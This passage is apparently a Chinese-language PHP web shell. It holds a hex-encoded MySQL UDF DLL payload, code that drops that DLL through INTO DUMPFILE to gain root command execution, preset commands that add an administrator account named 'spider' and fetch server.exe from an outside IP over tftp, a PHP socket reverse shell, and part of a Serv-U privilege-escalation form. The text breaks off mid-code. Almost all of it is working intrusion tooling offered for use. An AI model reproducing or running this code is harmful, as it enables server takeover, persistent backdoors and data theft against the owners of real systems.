2f5803803874dc766295bff0170c9f2322e24aeee973639e33d3bfa2e27a459aae4ef8bd21c4c162c87c92b3930559d7e79985debaf0e7850d6114cb25428602168524229ca3cfbad5725a92173cb9ae8e862a30132208a4fd86e65db920b39d339532159f94a8bd1f43e99ea8f45384f9ce974176da571e2bec328be22748fb54fb4ddf501d9937f40b79dcfc4dc859544081622d864110664f247755cd0d4c75ed1c908349477d67f233c60bdeb984216ac25a7a7e7ef096c8e7ab898a5b45561eec047b388b95333a525d3c1b5d3144146ab5e30e19dd40855a500dbd08b5cfb28792b951f7e5447621d8275b360b9eef59ade231a2c4473cf1bf59bc3ac8df9baff76e80029ee0a8a12752d525018520d845d75adf2fe3f1b036d7cd60b9278579a61b0c92be24e6777fd8ba32e86b9128094b5a5a20200c96ff637ae5fe1b35478f43a54b96dfaa4e8153a182e26b429c8a83181e16d582582f4f5f8fd61e950ec54233546bd28c09254f3543873a2b31f9050683ca8db18b3c96f48c48c12674e9979edae596f3382223e94003c7d5f06bb14503ac4b93793a433ef8163314f73c57d829626b1dcdb43ca84b94a079dd2fcf72a0bf565e0fdd4a586db11923bee45e568c5ac259449f3cd598aeb4ec6057eb3edb0ee7553cea0b6ea946bc874d6c180c821e208a26303b7f49f71810c65edc3f721b9928b85a8d4da0c62ae4718cc64b79aaf6f836c71490754ce89d65c8f0a60becaa490d623e563f31a551b3b155ed009d599f8cc66615f3a00295fb781c554d6df06f717173efd8c0248c325cabd378a72e11ff1debb383c6868f1bcb5f8dab7a84af34dd1f6c63ccce4f7083d03f7a4909ac55e40725e781b754bffa9cb6212358a7264fcc301666ad904fd18e238248054859f6c782c0ee82c0aedd52357bf52ff276e940c108a2dce6a0fb8fe64cf4359ac669ccb788c65a9f12f59f7caabc4dc96eb3e1b2e1b88e409b814fffbb1b55da36ce17db2d53e1ae72569bcd53139e8423e7b8bfba590c3a69d999e556ae4022625be77c20f29de8d014d34863b2e69d4047b858735de1b4d2fee8cdb2ec5f75a7d5606ce85f30ad368adeeb29cdcd06699bdcca966eda541cee464c06afddd18c990a493c569bf5fad2a76d567555ded3a88a6fc561280e2e6101fee9c15b68dc835f467180bc1f4633201a2a8abd80db0736e3c3f879d5e121ddbb0d18ce70d3cfdb91dde5cc162a7c5ff274dba0f2b2b8aeebf0dd10ea45bbb60013f2e257bc37cb9894a734e48f048f178a562a84afc8421761a83ad4b945a0d63c27a37ffca54960f7c349ec369a1f36edee47609c479d83371fc5034e6ede8beea1fa56997f6b4fec1001ae303b6389e7a9c676b448fff0eef32b9b78dd9f6d1cbc2e5188cfb063292c39051724ba7da77929300772be1219daf4b6834d264aa370052060ecb70521aa7f0e78c252eae1792df34a8be250c4426b5df3e8d4fe1b21b00ae2203c8959f2c942b1846d7e3cf849a9c59bd4db625b8003db2ff1ce70ab8c81b4c09bfc80e10492eb2cc0990cd67c139e576d84a840ead85bbafc15c1380c2575c4bcf938595298089e254f954f1ec81bb30bed9061304166529dc63be4b3cebfb92f3836a200ed8ceefc7422e361fada9484a5bd9c62eae9cc971495e9c9ff62ecc4f16fc05bcd7c3480dfffc3d444f5e0a57887de95e8f84df37d1adc4ce10c5a818ee764d0dbcdde9533d70bec2837e74a30e2b04565e27e11702de60ee2ace7253a92ca1b51697dfb3f20106e4b2b07e8e3d7b1d8e5772a3eeca0e948ef0702347077c716f01e235354a8b1309529c46eafba9c13f7114b772347a98e26acccbeae88a7456797cf40836588f45c3d416e5812139ba9e099c8481e63240f440ae34e30c25c1264b4ea9f3df9ff0632bd61acba0e9f67b5c9e4d0cb35683ba74dec85e9a5c1bf8df707abe74fa6bb247b5960fa9664604613a1cba7496a51a083e4d0fdab1c3c83baf73d726b2153d308729188cd1405be34b71449b71b786a95e9f206b5c1d058e9f8695c963e228ef35eb4af6b5352f8164b7f3952bb7fbb6f47de32e069b6951e880e151b49ccd62769af05ff8368ba5dbd94baeb743bae6bcf7ca8e3d07b29bfd9542a1f1c1bc2d890ff5218c031576759ef062f777f75628d8f8501ebbad751508e43006ba08ef7911c8c11054b3e967ad7f61bb4b7eda060691b835763a63b88a2df89266d1077b8cc7f72cbfaf40ba1af231668a601cfad63350ba7a5a8237c6d59e4a4b9062843bf3f94d5a70d4df2d06ece2546d4703d15fa8dea4c9aca74136ef62eda42fa7c57031bdec6d1698e9ecb5bf9db77a54ad9e04251bb47bad35138d3370e743b19af3c70ada5197ef10eeafddea501e04526bfae9ba42ce5535bc7c77a7c8b7d0ad5e632831d92fae3b45b6dc6c1f8e3b2df35366143343a363c88cb3048caf80e341e10d891bb5252e4545cacca7071988c8385e5a1ffd0c9b54f2735a80565bd57eebc9fdc8958b4cd414e54000039cc808bab446f7a34086c019fbb5e4e76936cf89349f18f8c30f9bc03771767ef8c24138946f9f72f3563e4ccd4623b7176b95f437907a27bb95e98b68a4cb484c801d46775f493853cb6d9e7fdefd13e3e44993df96bb1dc5b7bc085490f3d45d05fee396129853c61dd77d478eb65fd4dd2e2e069b320d6db6845426edffce82244a0fe00febd18e82d9492c82616c4ccf953f45663c68a8caf1406a205df0b635b239f00562153fe9bba80167a244b46dc00fc5481557a70ec0ff8c210378ace8920416a0298be1e5a821ab000f249747694373714672d6d8e5cb403a11df7fdb6e906db306dc87c29f9d757e927d170deebb9de0f18cf5d0596edbcb85e11abf08e5b20f9c00a1b47cc4aa742f40fb885a91725de17281f5d7c82ee326ba886ade5f010f943b5eea141f29bbc359686a8eb3f06ff4edf81f7455dcbc218207272ec1cc7edaef85325e4b945149f70ded430ac08fce8b4d40dc0dac2627efc8d14a0132bd6c5ad3628dd30e6056aad384104f155ee94a0cc07a522545b8fc79e10de30b01b060b93718671b647e94773a894c689efe230fdf7bae5859bc9f532c6c38f73decfe7a0276fc12ace3636c0eb1adcd329b50afb51c24192b031b821835b2e686e422b25a54b1b72a399a1720b27f1e7d1522fee1cada382dc9c1faf308209710f3a8bf544924f75636524245ccec97e96af5ebd9fcaae7f0059864dd9ab6b2b7528389fb00ff09e9cab92223190693984eac3d38817040a17e108e57dcd60ecd5e2ddb488ce9ac3ab95204379b811d1b8a12155da4d22cbf2881475b9b438f699bca71c5b8fbe1c94e78ef82c1bc4409a104debdf71166547e49376600eab44e93d437afe65195997ddad56879f212bbb8397edeea03c7faebe65c87066b55405329ea797cbe88b4ca2833dbe96fa5137e31b47f38b72ac0fcc2308fbd2b588dfdcc0999a0d07f0ad127d9b84e8ff574b6e3593042d2f49ed904e7ba67b45b732ab4c6dc40f18442622e1e81858f2fe9b490751c81fe3241fc0259515bcb57793dee89339caf82ebfa6123fca946dabf7f5c118b0b650ca09955f7327b88cf99b3703e86107985d54d44cfa152e8c9e0916c1847573d9ee33ba02402df410da97f09140939d61e27856f05b6bd314401cffdd889ae450936428e488ce1c54583e24ef715c1c577e49c82b5f017e4e57033b3a95d3c65acac6e5b545e5f924326993855d842a286e520759fbc75e2b9678c3f3fd9497b2364c64670848140fd06b7201f376216612725b17ff5e91481cc3c3a9eb04770a76c29622959845298d09163e7f8a0858e88ca33aac8f2b18118a29793f344407c3fa10b414f20e4ddcc351cee0e78b7a140dabe320aa52963028226d79c8c0fb3b3b4fb20bff0a11200484c675cbbbe05b14d7dd3bf802d03fcd6f2fa5141df18591bfa2b98dd64bfb37b3c7aba257fa7df4a69257e35f69d2e1d0f6a2124f76ece02bd009efe870e04c1e4d033c59528ad4b533c2648a238b7a7b1dc8de9f05ea2bde344fe56aa1f8b1d3ef3511a39c64ed1bdc9fbf77b6045d9473e95c539d3a10e3de156635037b4b68a7dea0260016c379e4ffac60cf82fa256ba9cc7cb786b9993b5cfef4414926b845699d127d3e787abc1c694f947c668f3dcf4c0082cabba060934875ec4e675fdc8bf42cb9bd9c2c3a42dae53a5deb569af03bdec4dce2fc1b18f7c323e78d2f3c879751ec1ac21418a779c61caa259f09c132be604b97ba39e9e80b5eefa3160784c9ded268ee9e586872515df2e1864693a0cb251cd30630fb1d77eeb14072af0526ccbe387480053940a95f3f4b6a232ee3760dc397dc146d03748dad4161c67e0e3d1c123d6684464dbe59181af9d22efe145ef9cb9f722c271ee30a5c987ff95b5b87ebab0ed100b8d0ba83c37df4d6225bb9642224d4cfa211149cf5be32794d3c3c379c2e896a581d8364c80634449753ba980f608c203e703a7a65f721eaa487b5cf11cd6f294ff91b633a08e12404912f03af971d1cdb381ce1fd102414b52a235b495dfb7631644da524d068908d6eafcfa73f26086caacd2591fe006370ea5501dac27ff325a78067b9ee59652a05e8904decb7219ceba2744b0546ada587290363c4b5af950d4d64a72478f5356725227805e50cc7b714cf8f43e40b03ba7f867069482d164b54f3099e671a5803c881eccad2ae8aea6280b174863e271f77e94e1ffea81811ad5e60e8b87671f592a95b3264e94415ff66e8ab22bd2120b15a10bd99f8e0d74852e41dff820bd68635f84a004346944e99f9ca97f5cfe8fe1d949824b8c8918b57614c15e0f71fd9d84e5308950ce52cc19857dd16b81b3bc962db9cbbd8ea87e39e7fd59bd78e947eab77e0d16c58d3fb2530d622651b8ecefad13c7ad5bb0443720d7eef9ea65c763d1bc7886029f926071eb1debacbfb0fb551ab1d704cc82d957683c2d3d57d94c7752caf77632968b7e20ebd3fc56510657d630a227f0c9202af2870e71c231e252ecc2cde1f98f4110d6af64d4e1a88552be73e68f6283ca1a2a817b3149eed85818e499a65c19ab244bc7eb61db5ac35ed55faeca0b01664efd1f2da213274535bc7e41e1254f5a50824b12bb613b27266dabe3bd62e2145b5da0cd726d122a6281b1ca86fe9df66483ea1083573ee3ed4121837d4cc85f0eee2c02afc46e7be8eda706d3467c7fe6ee7fe5facaa9e6dd1249cfc92fd403a9cd43b9944656afb643cd54663281c71eaab46e2c63df9c0619d80e156f885ff9b02b676de154024d95345c770adcd7325468597b44d6b3d29bed4fafc002c7a987fd1bdb9febe59e350ce37610562d99286604b171ae985d20ff53c64a39831d93137cfc76810ca2c671715c09b2dfc52167240be4a6cdbc905ec95f8604149cbc9cf560f004c608306e2f90bc703be4d257c885bb7c6375a8a988431b1dde742064f0fc4b8d294c8b34844e383c1ca393acadf1c1da8ff9b13f4c70ed8208ee2c0670c1aed365ba0fce7d874fcc0addd9d74077e9d9cb230545ee35dacee2605b29a7f863bc58e0b2423a7b3a2326563210329a492cabc9f44406de4e8c14fb78d9059dbc286b6b27f01dbdc947caccee3675c19f54118d5ea0b98740e9102d2459c63811876d0a0ecd9bd55edaa60e4eecfbdef30a9ac33f952402a62c97dcb061d018c0fc6ee2760ca2eaadcdf6b397135c7875c47c36852076d607d4aac060812f601ac6f73dce3c7f50bb4aeb5369ebf65e14f43078de0dce84b270a743134db987b17710fc0d863a4791cee861a0a5568be977b1cf3b2e1eca312542df4324575f8c3e4661ed2b955bb7c48077d4952193496265740f6de6955e935cd67df798c2f77b645cb33ff297d90de4eee66384f8f5eaf5c761cde263c60619c1e1c09995d7799cc74689071abc4d310fc08f6d069cd4aa32e47beea8438d6b9aa9bdc100671c2e1b17e2014cbc782e2c7972bff99785bd2e4f2af6e6d7f46aaecc6958ddeabb52b4e93ca67fd2741af101cda966e83f822e29ec180c2bfb704a666fb9dde2ddbe8d389e98c3e3d360037860fce71598fd3444d133c21feddb993371f5f704d4ead8a116fbd09550382b62ffa1fa179b8b6eb1c9611f16a0bf4ec475aa9fb951c19c468f94fd1c2d3ec793bce76a50969ff8f39214de1f714633bbd8aced6b71034b95c38a640c51289794c4191499f9bf013e5aa9e9928b675e96ce2358b14abac50cde601ee9fdba355bc0d48900ded3bba6d8e761a5b36ab0b2480422889d0081a3adccf83cc621fbc5e110c2d2e9a5d9dab399a324c7d01ff7dac85933351e552b7b0fe2132b319b630f93e642aeb2af777627148aff3ebbf6dfebdd1985e91cdbe9a4b47bbc7e189cfd4a9de568d974d13b596f4b5c10a01b487e1191b8e742aa752ae89147256501e30918f7be67e03b4f4869c55817dd2358e438359b7cd22fd1affabd78518b91f3248e2d839ade3dcfaba45ab72519c5fcc6d7db4bee7840c1b2c23834c7d8079d42c4ff6b8b9291e0e5773b41b716bd6ea94ab8e8934eb81e9326737a06b320b1c98919f8654b0c6e2ce3b792f42465f4506e54900a654233b468ded6bcf7b99fe25754c35cb1c67dee159d9db365eda9fa979115b668008c15f3564401b4b74e082355a596b776ab5c14a7d998f844a48c8e1bf5406dddf8b56c6641dbf0cd68e7e98a2e8d2b829ee342ee65ae34c23b9d2823768fbd80024db4970abccdf91b0e92ae2fbeb2822633ee42dc7622e2ef9c7b0b60dcdd181e2271cef8e0a4a161c700b17c40fea711edd36ca33513d433f109c657d4b610be67f5b17ea714162dbf40e74576613a316bdc75f3572c0dc12fe3c7487249d00c5afaa4ad3d854ba763dabc807da78996e6585b9a6bcfe2956ee3691778ea9d6ee8027e309b066d67116d0c2eafcad749a4858c362aa0eb6d56a28aee9a2bdf22b401c6361d8d13818dbdb2e220ecddb361b622b3f1577fd50722b4f9523378249a4d5968bcf6214c9837991a576e07b556dedfe9d1e7613ee28e1edfd080c943e518582fcb90f41cc60e74a22953d67a042fb24b522db482529b6348645c622dda250b3506ce19c9f2cdb202a454db52f3f73be52026726147717f70b7d3872e4c945104eca84d4f652ac71e87c4b94470626784c6654fdd968dd81d472745d4720341d9307e436a92b29b1a419bf024b70700a0d2c1133c3911f081ba1bce9dd0b74499fc6da58e19165d5e452c8469aac1e2a2e5687b98e081f05e73122b7b4bac513d7ec8a940c648b44bba80076273189858549b283ab363d0eb9e8962462a24f1bbd96db00922744e9484f09aae326461e57da8679c14d41b1986f33682aa70d91efe6d0dd81b65d26000463b8c3429c8f93f0801d71ab1123611b93e5f3a7a278c363c6797957950849f39974d6193ab8fdef30087e1fc96db7c3b78c11c4be00ae617a04e27c74f5c83cc81a95a5cedb752118622f6196fb9853fce4897de28494d5d94763cacd6e8d97892fe00380a2a34fa194882958020ed4b39800b2b01306475074cca32d398589d4ca1686ee3a11b1f918b89948927ee3a097f737456cb43e774bf1913c7c7431b911071a4c4bd30e96e28f0d786d3826ee76c53cc875f5b827e203a8702bba2b4760d0f22f58e56180744172384f5abc11d833bf1201387ba60af29a88da9161af85a07eb4c30deb23732d60e82d415d6bd9eeae750b9284be41c5efab738a1ca5702686579806948960390ed4c0ca7d219eb1ed0cc479c4c516589783c784dbeb284e0d50ad2856b81737d1012273e69f91fbd05fa0ff37283cb44d10f41c44665ced2c42ccc15c365c05f2fbd5a7b99975627c99f5ba39e3dfe1a0b9b6efe4f9d859d33f7a5d9b080b1b7ae7d026c7d0c52ec3dc4a60e5cc7fd7c0faa209f46d531611d88635e8da5b6cbff371d6cdb40eaf94f44a90f5ef96d54a1c148c140feb739837c52c56119c1fbe898ab2242972e028faff901de8679f2d83d3e8094453a80f163dfd6218b72ecbee21a2770d4d0fa9cfe524e8d918d59df5e0e260686966e021d93504fe98e8a5a3113bfdc29a4732ee00c31b6b9471ffe1bdd91625ba0dc6314e2f7c6d14903995692a5730580894c6875679680d71d4470557c76cca1317fa1e3a437c0bb133b98b2b1934ec5ae18dca6b69f3854eae3e9156ed84abe3112abed69eb79c1251126e14b9b3924ee2453d7f3b216d22649464155a0591fc0af92ea6b810e66cce1db14d168161fc7883e994c7f0a5ff401e3f9c1f08439e4333f553c1b84b308ee8fbb2d13f8ff8247aef5b1ca08f1028d70840ea0aa923a1ed861e42358b7ae207a156e333d0f1aed6534b9a4e68b3922d4586598b710128e901855c95fa47bca65bdce83540d78a774028838677d6075eb1ecfd0ecec38650ccc45a05edda1a8e414056aa4db23404ee8fd9411f8f78930ca9713d6d465f95d0bc687bc39f27c2c0057a50e92a0c95e4f4b37411028a07ae76cf3260bb086ee656c033a3ef5b89fbc97996e06243d3f33851476afd328da79f62d1e95a27bf451b943766a50c238ad4b3dece8f4049686494642bca8ae162c69c48c8b9a89161572808b691c5638af59d2bf26b68af0a3adf17eed396890cfcec6e8aaa42742a5fe92073d66d3e2b7baa8f6c473e2f48e9c9e0f7b0b7f7f37399784a2937cc6dcd4871724b2d33a6be15add1908800c8cf92fde2d6fca5a2f55e46a9e2e19ce040739500b33100cce91b6da78009e61b066448dbe4226cc2fb0ee6a027112d9b2e200bf7d197889b3d0f945032488f614a6803b3119b368322825ce5b235a69a6f147ac2341195aa5f3c190eca877c3c66508d99f968d6a350290dffb9da9c4fb4f60b368d3aaa809fc127b2a0bd8eaefb1fa4ccda9d168065ecbbd4766b173e886abce1cf23053a4855e1d6e2f4fb2bf9c07c56fc6d2f27acb2ef8c2f012cc2898b56f32c02a70c5009dd8e35797717ffdcbd233256161ee254d1b1accd2b6133a5fc376babdc4c0d5811c89deadaed2ef047c6364a690fe998b944e996fcbf8c237dbeebf6d764f713a39e8e01efa008b949b13ae7e04017bf1d85071928869984bf78f6a3695586492efae813ce2c252dc92fb8db3beb32cb78a5b057ef9f6bc3524e462c121f4c6c3b29083979c85cfc73e8e5b2500e9785eaf5ea409134606c8a50f1fc68571303807ac06ef9bdc138cdaf1d545b361b25ec793a30c765de9b4199076f41da8ae675a21f321a4060eee1fc25bc992561ef6c1b332747f9b4517c316dd1d68b950c671cd3ea2e42480a0b82901058b355b59bf72d65f6eb33f3f49bb9bef7b514b908255051e8385386939423d47625377cfbe22f85b904dc6029c207a65288e98ff01f215c12507ce986939be440458c000f9475cb4b4704dacb7656330bd06485064678fc603392ecf35a512d76382232fe2889b8e0e7418e9264c0ff1120a56c63b3c08c0eb703464c1c4dd4ba417d11ddec9f67d814ee0c5df50c173b2634c8b6b18cda4d86047a47579847bd1490aca83c8be538bb02f4569d2e200daffd04a47089bbdb0acdf3d2e2772a0fb12d37485ec8883c1253bc84457f3670704b9ee898e978a5593b73aeef92f10f9020ec60cee25e327fe2055c0b29125f72ff67d28b31bdc778d74bd1c39ed6bf2c44ecc2a61ea5f742f6a0c1857001c1b07e56db98c6db1331bdc727a7dc98d2a3f5c5f7cba0c2fc783155c08e4eb337138dd2fc43c6aa607722b0cb90f6afe3f1226d31d5237851cc1dfed5dbc055027361094c50c67b7be979e07c9d5a3f698a9871ae81bcf53c70c611f5de85ccebf2a10cf7016e10483c6125ae8c5660f9269480ae025af71d8923d9ea95b20abe3c71e97e59b8278271dc5722dca6883ba3fc70dd206fb555af8206b03180dae4538642c1d88eea507d8d2cd3cf435660614f87f10cce23786e9376f51e47e4d3202499fa1e3fb3e2e0549e6ef0880fab18dd3032d55b32d484217349380806a72e46888d9b57bccc8aec8be2bd30007367de32d69c5b950fc82ae6b32bd7f512321c7bac127ffeb31c2d52c779ae836304f63cf89c2ec612cd32edec1fa2a7f9c128b6db5f064457dcc9817640a1d0edfce1776f20a4f531f59035345f668bea438eb47e0659f0b1e4180090a81653c7e5303739a6f87b51bef9491d498d1a51e9802d12842f5dd845a3dc54a82ee140424e26c6025939a116092a30a7ab03745b0e5ac7983b0c4537bcda2393ad2d6d24dc642c3e1aa38b4b83679722b97469f3f0e28d1aad08daabbdf3f0335f0abfd33b9bdcfc8f95829ca6064853ad2a2e856771e0c0c952369705cdef3b919340e086e073ddd9c9896e783f3610cb4ae23aa06d2bfc281bdf515696bdf1ae28eb7f8cb1e3280ca948e3d2c89b1ccb7f341fefc7ea193c7477e3d81df3799a685fa2dbd1aa8f7c6d164fa73f44c306fd495979b5b03ad9e29995ab445a89ee792b7cbe5c4829204d3418a29a6e5bc1375d575860f01fa456d8efe52b50f64f221b9372551a5d491ae31660c4928176d974136903e8cd04779424a9d09dec08654ba8bb880bdde1120039f89d38eccbac4436bf382e4e73956ee3b2be95a6659cb96412b14032b5676a321173882ae645390237ced2d62eeaae20f3f52e4c164ce074e0e2cad94dd4c189f19b88991aebc2cffcf522b373d7644c026fd890e0b652261af984a1469ce004fd3464b3949812bc602eeb055c72b2e645a3ace286d9e7d924b0604043e632a3ca026699de5484bcfa7001d5b479761a99eda72d51c9de7345ce00d4c35dfb044b8907fe1bbcb58f5b207aa748746af5e2837116c2f75d4371705986868f6de4e700fc56b91c86c1d3cb4c5c3c9016c3ab6379895fd56adc7c0613eba6d239df1bc48e218233b370930b9dd78627c87c89a4237b00f51b12f75227807372b3204e67138359a647bbe5e8f2f9114ca5518d4c582de609c2958058ce5cf095d5233abf344648bf2a91aa61cf13d6fcaf526e8c69d8a0cccd3aaf850798bc8802a2896a737eb791de6bf660e042843df3e8b68fca1065c5963fd128c7e8f1e9971f5a9f9d7131f075a98143a4de0e456eee823cf6988192a4e372172bdfbf7301bef7d260bb60126a1356857d698df62b5e7ac5e02b4bdc0f1eb22d953b95fa0c6b802f2235bbc31d04d11b46d2da5d8cd6d4f2fad666b3c0060e809000000bb930200e90602000033c95e870ee3f42bf18bdead2bd8ad03c35097ad91f3a55ead5691011eade2fbad8d6e10015d008d7d1cb51cf3ab5ead53505197588d54855cff1672572c037302b0003c0772022c03500fb65fffc1e303b3008d1c5b8d9c9d0c100000b001e3298bd72b550c8a2a33d284e90f95c652fec68ad08d1493ff165a9f12c0d0e9740e9e1af274e4b40033c9b501ff560833c9ff661cb1308b5d0c03d1ff16734c03d1ff16721903d1ff1672293c07b0097202b00b508bc72b450c8a00ff661883c260ff16875d10730c03d1ff16875d147303875d183c07b0087202b00b50538bd5035638ff560c5b91ff66303c07b0077202b00a50875d10875d14895d188bd503563cff560c6a035950483bc172028bc1c1e006b1408d9c857c030000ff56043c048bd8725f33dbd1e813db48439143d3e380f9058d949d7c010000762e80e90433c08b5500d16d088b120fca2b550403c03b550872078b550840015504ff5610e2e0b104d3e003d88d551c33c0534051d3e08bda91ff560433d259d1e813d2e2fa5b03da4359895d0c568bf72bf3f3a4ac5eb180aa3b7e247303ff6620588b4e405f5a57e31b8a074704183c0273f78b073c0775f1b0000fc80346142bc7abe2e58b5e2856528b762c46ad85c05a742203c2525697ff53fc95ac84c075fb380674e78bc679054633c066ad5055ff13abebe7595f8b4944e30d33c0ac3c04720c03f80117e2f361e9e89bfdff2c017208740ac1e008acebe866adebe4adebe1508b450852c1e80bf7228b55008b120fca2b55043bc25a761089450833c0b4082b02c1e8050102eb0e0145042945088b02c1e8052902f9589c807d0b00750bff4500c1650408c16508089dc333c0408d1483ff1613c03bc172f52bc1c3b108ff168d5204b001730bff16b0097305c1e105b011508d1c82ff56045b03c3c30e0000001e00000000000000000000000000000002000000e99702000000000000000000000000000000000000000000010000001e0000001e00000031980200e5980200a99802006022000060290000b0240000c024000060290000b0240000802c000060290000b02400008029000060290000b02400002010000060290000b02400003014000060290000b02400009016000060290000b0240000601b000060290000b0240000b01e000060290000b0240000a026000060290000b024000000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d005d990200699902007c9902008d99020099990200ac990200bd990200c3990200d0990200db990200e5990200f6990200059a02000e9a02001e9a02002c9a0200379a0200499a0200599a0200629a0200729a0200809a0200889a0200979a0200a49a0200ad9a0200bd9a0200cb9a0200d09a0200dc9a02004b696c6c50726f63657373004b696c6c50726f636573735f6465696e6974004b696c6c50726f636573735f696e69740050726f63657373566965770050726f63657373566965775f6465696e69740050726f63657373566965775f696e69740061626f75740061626f75745f6465696e69740061626f75745f696e6974006261636b7368656c6c006261636b7368656c6c5f6465696e6974006261636b7368656c6c5f696e697400636d647368656c6c00636d647368656c6c5f6465696e697400636d647368656c6c5f696e697400646f776e6c6f6164657200646f776e6c6f616465725f6465696e697400646f776e6c6f616465725f696e6974006f70656e33333839006f70656e333338395f6465696e6974006f70656e333338395f696e6974007265677265616400726567726561645f6465696e697400726567726561645f696e69740072656777726974650072656777726974655f6465696e69740072656777726974655f696e6974007368757400736875745f6465696e697400736875745f696e697400"; } function Mysql_m() { $MSG_BOX = '请先连接mysql,再导出DLL,最后执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $sqlcmd = 'ver'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); if($conn) { $bl_str = mysql_get_server_info(); if(!empty($_POST['mlink']) && empty($_POST['mpath'])){ if($bl_str[2]>=1 && $bl_str[0]=5){ $bl_sql = "show variables like '%plugin_dir%'"; $bl_row = mysql_query($bl_sql,$conn); $bl_rows = mysql_fetch_row($bl_row); $mpath = $bl_rows[1]."/mysqlDLL.dll"; $MSG_BOX = '连接成功'; }else{ $mpath = 'C:/windows/mysqlDll.dll'; $MSG_BOX = '连接成功'; } } @mysql_select_db($mdata); if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) { $mpath = File_Str($_POST['mpath']); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); $query ='create table Spider_Temp_Tab (spider BLOB);'; if(!mysql_query($query,$conn)){ $MSG_BOX = '创建临时表pider_Temp_Tab表失败'.mysql_error(); }else{ $shellcode=Mysql_shellcode(); $query ="INSERT into Spider_Temp_Tab values (CONVERT($shellcode,CHAR));"; if(!mysql_query($query,$conn)){ $MSG_BOX = "插入自定义文件失败".mysql_error(); }else{ $mpath = File_Str($_POST['mpath']); $query ="SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE '".$mpath."';"; if(!mysql_query($query,$conn)){ $MSG_BOX = "导出自定义dll出错".mysql_error(); }else{ $ap = explode('/', $mpath); $inpath = array_pop($ap); $query = 'create function cmdshell returns string soname \''.$inpath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? $MSG_BOX = '安装DLL成功' : $MSG_BOX = '安装DLL失败'.mysql_error(); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); }}} } if(!empty($_POST['runcmd'])) { $sqlcmd = $_POST['sqlcmd']; $query = 'select cmdshell("'.$sqlcmd.'");'; $result = @mysql_query($query,$conn); if($result) { $k = 0; $info = NULL; while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} $info = $infotmp; $MSG_BOX = '执行成功'; } else $MSG_BOX = '执行失败'; } } else $MSG_BOX = '连接MYSQL失败'; } print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                            +
                            {$MSG_BOX}
                            +
                            +地址 +端口 +用户 +密码 +库名 + +
                            +可加载路径 +
                            +
                            安装成功后可用
                            + + + +
                            +
                            +
                            + udf函数说明:
                            +     cmdshell 执行cmd;
                            +     downloader 下载者,到网上下载指定文件并保存到指定目录;
                            +     open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
                            +     backshell 反弹Shell;
                            +     ProcessView 枚举系统进程;
                            +     KillProcess 终止指定进程;
                            +     regread 读注册表;
                            +     regwrite 写注册表;
                            +     shut 关机,注销,重启;
                            +     about 说明与帮助函数;
                            +
                            + 常用命令:
                            +    create function cmdshell returns string soname 'moonudf.dll'
                            +    select cmdshell('命令')
                            +    select backshell('你的ip',12345)
                            +    nc -l -p 12345
                            +END; +return true; } function phpsocket() { @set_time_limit(0); $system=strtoupper(substr(PHP_OS, 0, 3)); if(!extension_loaded('sockets')) { if ($system == 'WIN') { @dl('php_sockets.dll') or die("Can't load socket"); }else{ @dl('sockets.so') or die("Can't load socket"); } } if(isset($_POST['host']) && isset($_POST['port'])) { $host = $_POST['host']; $port = $_POST['port']; }else{ print<< +

                            + +
                            反弹 cmdshell 用 php socket;
                            扩展项 php_sockets 应该被开启;
                            请检查 phpinfo();
                            code by Maple-X

                            +
                            +

                            主机:   +端口:  

                            +Linux +Win   + + + + +eof; +echo '

                            '; } if($system=="WIN") { $env=array('path' => 'c:\\windows\\system32'); }else{ $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); } $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("pipe","w"), ); $host=gethostbyname($host); $proto=getprotobyname("tcp"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) { die("Socket 创建失败"); } if(($ret=socket_connect($sock,$host,$port))<0) { die("链接失败"); }else{ $message="----------------------PHP Connect-Back--------------------\n"; socket_write($sock,$message,strlen($message)); $cwd=str_replace('\\','/',dirname(__FILE__)); while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit") { socket_write($sock,"Bye Bye\n"); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value = proc_close($process); } } } } } function su() { $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; print<<[执行命令] [增加用户]
                            +
                            +
                            SU_端口
                            +
                            SU_用户
                            +
                            SU_密码
                            +END; +if($_GET['o'] == 'adduser') { print<<用户 +密码 +目录
                            +END; +} else { print<<Cmd命令
                            + + +
                            +END; +} echo '
                            '; if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) { echo '
